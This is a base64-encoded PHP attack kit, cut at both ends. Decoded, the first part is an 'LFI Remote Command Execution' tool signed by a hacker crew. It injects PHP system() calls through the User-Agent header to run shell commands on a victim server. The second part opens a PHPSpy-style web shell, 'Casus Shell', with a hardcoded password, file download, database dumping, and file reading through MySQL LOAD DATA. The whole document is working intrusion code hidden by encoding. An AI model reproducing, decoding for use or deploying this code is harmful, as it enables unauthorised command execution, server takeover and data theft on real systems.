gIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImxmaXJjZSIgKSB7DQogICAgIA0KICAgID8+DQogICAgPHN0eWxlPg0KICAgIGJvZHkgew0KICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICBjb2xvcjogI0NGQ0ZDRjsNCiAgICAgICAgZm9udC1mYW1pbHk6ICdUaW1lcyBOZXcgUm9tYW4nOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwMDA7DQogICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgIGNvbG9yOiAjQ0ZDRkNGOw0KICAgIH0NCiAgICBwcmUgew0KICAgICAgICBmb250LXNpemU6IDEwcHQ7DQogICAgfQ0KICAgIGhyIHsNCiAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgfQ0KICAgIHRkIHsNCiAgICAgICAgYm9yZGVyOiAxcHggb3V0c2V0ICM0NTQ1NDU7DQogICAgICAgIGJhY2tncm91bmQ6ICM0NTQ1NDU7DQogICAgICAgIGZvbnQtc2l6ZTogOXB0Ow0KICAgICAgICBwYWRkaW5nOiAycHg7DQogICAgICAgIHBhZGRpbmctbGVmdDogNXB4Ow0KICAgICAgICBmb250LWZhbWlseTogdmVyZGFuYTsNCiAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8dGl0bGU+IyMjWyBMRkkgUmVtb3RlIENvbW1hbmQgRXhlY3V0aW9uIEJ5IFhURVJNICAtRS1YLVAtTC1PLVItRS0gLUMtUi1FLVctIHczIDRyMyB0aDMgNG5rM3IgdDM0bSBdIyMjPC90aXRsZT4NCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHRhYmxlIGJvcmRlcj0wIHdpZHRoPTg2MCBhbGlnbj1jZW50ZXI+PHRyPjxUZD48Y2VudGVyPjxwIHN0eWxlPSJmb250LXNpemU6IDE4cHQ7Ij48Yj4tIEUgLSBYIC0gUCAtIEwgLSBPIC0gUiAtIEUgLSAgIC0gQyAtIFIgLSBFIC0gVyAtPC9iPjxicj4NCiAgICAtID0gPSA9IHczIDRyMyB0aDMgNG5rM3IgdDM0bSA9ID0gPSAtDQogICAgIA0KICAgIDxCPj1bIExGSSBSZW1vdGUgQ29tbWFuZCBFeGVjdXRpb24gXT08L2I+PC90ZD48L3RyPjwvY2VudGVyPg0KICAgIDwvdGFibGU+DQogICAgPD9waHANCiAgICBpZigkX1BPU1RbJ2luamVrJ10pOg0KICAgICAgICAkc2FzYXJhbj0gc3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLCRfUE9TVFsnaG9zdCddKTsNCiAgICAgICAgJHNwICAgICA9IGV4cGxvZGUoIi8iLCRzYXNhcmFuKTsNCiAgICAgICAgJHZpY3RpbSAgICA9ICRzcFswXTsNCiAgICAgICAgJHBvcnQgICAgPSA4MDsNCiAgICAgICAgJGluamVjdCAgICA9IHN0cl9yZXBsYWNlKCR2aWN0aW0sIiIsJHNhc2FyYW4pOw0KICAgICAgICAkY29tbWFuZCAgPSAiWEhPU1ROQU1FPD9waHAgZWNobyBzeXN0ZW0oJ2hvc3RuYW1lO2VjaG8gIDsnKTsgPz5YSE9TVE5BTUUiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFNJUDw/cGhwIGVjaG8gXCRfU0VSVkVSWydTRVJWRVJfQUREUiddOyA/PlhTSVAiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFVOQU1FPD9waHAgZWNobyBzeXN0ZW0oJ3VuYW1lIC1hO2VjaG8gIDsnKTsgPz5YVU5BTUUiOw0KICAgICAgICAkY29tbWFuZCAuPSAiWFVTRVJJRDw/cGhwIGVjaG8gc3lzdGVtKCdpZDtlY2hvICA7Jyk7ID8+WFVTRVJJRCI7DQogICAgICAgICRjb21tYW5kIC49ICJYUFdEPD9waHAgZWNobyBzeXN0ZW0oJ3B3ZDtlY2hvICA7Jyk7ID8+WFBXRCI7DQogICAgICAgICRjb21tYW5kIC49ICJYUEhQPD9waHAgZWNobyBwaHB2ZXJzaW9uKCk7ID8+WFBIUCI7DQogICAgICAgIGlmKCRfUE9TVFsnY3dkJ10pew0KICAgICAgICAkY29tbWFuZCAuPSAiWENXRDw/cGhwIGNoZGlyKCciLiRfUE9TVFsnY3dkJ10uIicpOyA/PlhDV0QiOw0KICAgICAgICB9DQogICAgICAgICRjb21tYW5kIC49ICJFWFBMT1JFPHByZT48P3BocCBlY2hvIHN5c3RlbSgnIi4kX1BPU1RbJ2NtZCddLiI7IGVjaG8gICAgOyBleGl0OycpOyA/PjwvcHJlPkVYUExPUkUiOw0KICAgICAgIA0KICAgICAgICBpZihlcmVnaSgiOiIsJHZpY3RpbSkpew0KICAgICAgICAgICAgJHZwID0gZXhwbG9kZSgiOiIsJHZpY3RpbSk7DQogICAgICAgICAgICAkdmljdGltID0gJHZwWzBdOw0KICAgICAgICAgICAgJHBvcnQgICAgPSAkdnBbMV07DQogICAgICAgIH0NCiAgICAgDQogICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCR2aWN0aW0sJHBvcnQsJGVycm5vLCRlcnJzdHIsMzApOw0KICAgICAgICBpZiAoJHNvY2spIHsNCiAgICAgICAgICAgICRnZXQgID0gIkdFVCAiLiRpbmplY3QuIiBIVFRQLzEuMVxyXG4iLg0KICAgICAgICAgICAgICAgICAgICAiSG9zdDogIi4kdmljdGltLiJcclxuIi4NCiAgICAgICAgICAgICAgICAgICAgIkFjY2VwdDogKi8qXHJcbiIuDQogICAgICAgICAgICAgICAgICAgICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAiLiRjb21tYW5kLiJcclxuIi4NCiAgICAgICAgICAgICAgICAgICAgIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOw0KICAgICAgICAgICAgZnB1dHMoJHNvY2ssJGdldCk7ICAgICAgICANCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkc29jaykpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49IHRyaW0oZmdldHMoJHNvY2ssIDM2MDAwMDApKS4iXG4iOyAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZmNsb3NlKCRzb2NrKTsNCiAgICAgICAgfQ0KICAgICAgICAkaG9zdHAgICAgID0gZXhwbG9kZSgiWEhPU1ROQU1FIiwkb3V0cHV0KTsgJGhvc3RuYW1lID0gJGhvc3RwWzFdOw0KICAgICAgICAkaXBwICAgID0gZXhwbG9kZSgiWFNJUCIsJG91dHB1dCk7ICRpcCA9ICRpcHBbMV07DQogICAgICAgICR1bmFtZXAgICAgPSBleHBsb2RlKCJYVU5BTUUiLCRvdXRwdXQpOyAkdW5hbWUgPSAkdW5hbWVwWzFdOw0KICAgICAgICAkdXNlcnAgICAgPSBleHBsb2RlKCJYVVNFUklEIiwkb3V0cHV0KTsgJHVzZXJpZCA9ICR1c2VycFsxXTsNCiAgICAgICAgJGN1cnJwICAgID0gZXhwbG9kZSgiWFBXRCIsJG91dHB1dCk7ICRjdXJyZW50ID0gJGN1cnJwWzFdOw0KICAgICAgICAkd3JpdGVzICAgID0gQGlzX3dyaXRhYmxlKCRjdXJyZW50KTsNCiAgICAgICAgJHBocHZwICAgID0gZXhwbG9kZSgiWFBIUCIsJG91dHB1dCk7ICRwaHB2ZXJzaW9uID0gJHBocHZwWzFdOw0KICAgICAgICAkaGFzaWwgICAgPSBleHBsb2RlKCJFWFBMT1JFIiwkb3V0cHV0KTsgJHJldHVybiA9ICRoYXNpbFsxXTsNCiAgICAgICANCiAgICAgICANCiAgICBlbmRpZjsNCiAgICA/Pg0KICAgIDxmb3JtIGFjdGlvbj0nPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/PicgbWV0aG9kPSdwb3N0Jz4NCiAgICA8dGFibGUgYm9yZGVyPTAgYWxpZ249Y2VudGVyIHdpZHRoPTg2MD4NCiAgICA8P3BocCBpZigkX1BPU1RbJ2luamVrJ10peyA/Pg0KICAgIDx0cj4NCiAgICAgICAgPHRkIGNvbHNwYW49Mz4gPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+SG9zdG5hbWU8L2I+IDwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8dGQ+PD9waHAgZWNobyAkdmljdGltID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+Tm9kZW5hbWU8L2I+IDwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8dGQ+PD9waHAgZWNobyAkaG9zdG5hbWUgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5JUCBBZGRyZXNzPC9iPiA8L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGlwID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQ+PGI+VW5hbWUgLWE8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvICR1bmFtZSA/PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+PFRkPjxiPlVzZXIgSUQ8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvICR1c2VyaWQgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5TY3JpcHQgUGF0aDwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJGN1cnJlbnQ7IGlmKCR3cml0ZXMpeyBlY2hvICI8Yj5Xcml0ZWFibGUhPC9iPiI7IH0gPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjxUZD48Yj5QSFAgVmVyc2lvbjwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gJHBocHZlcnNpb24gPz48L3RkPg0KICAgIDwvdHI+DQogICAgPD9waHAgfSA/Pg0KICAgIDx0cj4NCiAgICAgICAgPHRkIGNvbHNwYW49Mz4gPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQgd2lkdGg9MTMwPjxiPlZpY3RpbSA8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9MTEwIHZhbHVlPSc8P3BocCBlY2hvICRfUE9TVFsnaG9zdCddID8+JyBuYW1lPWhvc3QgLz48L3RkPg0KICAgIDwvdHI+DQogICAgPD9waHAgaWYoJF9QT1NUWydpbmplayddKXsgPz4NCiAgICA8dHI+PFRkIHdpZHRoPTEzMD48Yj5Xb3JrIERpcmVjdG9yeTwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMTAgdmFsdWU9Jzw/cGhwIGVjaG8gKCgkX1BPU1RbJ2N3ZCddKT8kX1BPU1RbJ2N3ZCddOiRjdXJyZW50KTsgPz4nIG5hbWU9Y3dkIC8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDw/cGhwIH0gPz4NCiAgICA8dHI+PFRkPjxiPkNvbW1hbmQgPC9iPjwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8VGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTExMCB2YWx1ZT0nPD9waHAgZWNobyAkX1BPU1RbJ2NtZCddOyA/PicgbmFtZT1jbWQgLz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjx0ZCBjb2xzcGFuPTI+IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWluamVrIHZhbHVlPSJFeGVjdXRlISIgLz48L3RkPjwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQgY29sc3Bhbj0zPiA8L3RkPg0KICAgIDwvdHI+DQogICAgPC90YWJsZT4NCiAgICAgDQogICAgPD9waHANCiAgICBpZigkX1BPU1RbJ2luamVrJ10pOiAgICANCiAgICAgICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIHdpZHRoPTg2MCBhbGlnbj1jZW50ZXI+PHRyPjxUZD4gPHByZT4iLiRoYXNpbFsxXS4iPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICBlbmRpZjsNCiAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICBlY2hvICI8UFJFIHN0eWxlPSd0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOiAxMDAlOyBjb2xvcjogIzQ1NDU0NSc+IyMjWyBMRkkgUmVtb3RlIENvbW1hbmQgRXhlY3V0aW9uIEJ5IFhURVJNICAtRS1YLVAtTC1PLVItRS0gLUMtUi1FLVctIHczIDRyMyB0aDMgNG5rM3IgdDM0bSBdIyMjPC9wcmU+IjsNCiAgICBleGl0KCk7DQogICAgPz4NCiAgICA8Pw0KICAgICANCiAgICAgICB9DQogICAgIA0KICAgICANCiAgICA/Pg0KDQoNCg0KDQoNCg0KPD9waHANCmVycm9yX3JlcG9ydGluZyg3KTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOw0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgew0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoJCQlpZiAoSVNfR1BDKSB7DQoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7DQoJCQl9DQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KCQl9DQoJfQ0KfQ0KDQovKj09PT09PT09PT09PT09PT09PT09PSB8fC0mIzEwMjg7KyYjMTA5MjsrfCA9PT09PT09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCi8vIC18KyYjMTEwNTstJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssIHRydWUgKyYjMTA4MjstJiMxMDk2Oy0mIzEwODI7LSYjMTA5NzsrJiMxMDc2OywgZmFsc2UgKyYjMTA4MjsrIysrKyArJiMxMDk5Oy4tLXwmIzEwOTQ7LSYjMTA3MzstJiMxMTAyOysmIzEwMjg7K3wtJiMxMDc5Ow0KJGFkbWluWydjaGVjayddID0gMDsNCi8vICsmIzEwOTU7fCAtJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssfCYjMTA5OTstfCstfHwtK3wjLSYjMTA5OTsNCiRhZG1pblsncGFzcyddICA9ICdhbmdlbCc7DQoNCi8vKyYjMTA5NTstIHwrIGNvb2tpZSArJiMxMTE4Oyt8K3wrJiMxMDc5OystfCstJiMxMDkwOy0mIzEwODI7fCYjMTEwODssICsmIzEwMjg7fHwtKyMrKyB8JiMxMDc1OywgfCYjMTA5OTstfCstLS18JiMxMDk0OyMmIzEwOTI7LSssICsmIzExMDU7KyYjMTAyODt8JiMxMDk5OyMmIzEwNzU7fCstJiMxMDg0OystDQovLyBjb29raWUgfCMrfA0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wrJiMxMDI4Ow0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wtKyt8DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCi8vIGNvb2tpZSArLS0mIzEwNzk7fCsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSArJiMxMDkyOyt8KyYjMTA4OTstICA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09ICsmIzExMDE7K3wtJiMxMDk3OysmIzEwNzY7ID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3BocHNweXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOw0KCWV4aXQ7DQp9DQppZigkYWRtaW5bJ2NoZWNrJ10pIHsNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICRwYXNzd29yZCkgew0KCQkJc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNzd29yZCk7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRzZWxmLiciPlN1Y2Nlc3M8L2E+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddKSB7DQoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09IC0mIzEwOTc7KyYjMTA3NjsrJiMxMDg5Oy0gID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRlcnJtc2cgPSAnJzsNCg0KLy8gIyYjMTA5NzsrfFBIUElORk8NCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCi8vIC0tKysrLSsgDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsNCglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsNCgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCgl9IGVsc2Ugew0KCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7DQoJCUByZWFkZmlsZSgkdGhlZmlsZSk7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQovLyArIysrLS0rKyMrK3wtICt8KyYjMTA5MDsNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCglkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsNCgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMiKTsNCglpZiAoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsNCgkkbXlzcWxkYXRhID0gJyc7DQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyAtJiMxMDgwO3wgTVlTUUwtLSsrKy0rIA0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoJfSBlbHNlIHsNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoJCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCQl9IGVsc2Ugew0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KCQkJaWYoISRyZXN1bHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvLyt8LSMrJiMxMDkyO3wtK3wjJiMxMTAxOy0rKyt8LSwjI3wmIzEwOTA7fCYjMTAzODstK3wtKyYjMTA3MzsrKysmIzExMDE7KyYjMTAyODsjIHwmIzEwODQ7X19hbmdlbF8xMTExMTExMTExX2VvZl9ffC0rLSsgLSMjKy0mIzEwOTg7KyB8LXwmIzEwOTc7KyYjMTAzODsNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOw0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoJCQl9DQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJaWYgKCEkcm93KSB7DQoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiayI+DQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ01hcmNvIFB2aXYgOSB8IENhc3VzIFNoZWxsJyk7Pz48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KLmlucHV0e2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7aGVpZ2h0OjIycHg7fQ0KLmFyZWF7Zm9udDoxMnB4ICdDb3VyaWVyIE5ldycsIE1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDt9DQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fQ0KYSB7Y29sb3I6ICMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjpub25lO30NCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb2N1cyB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZmZmZmFhO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGV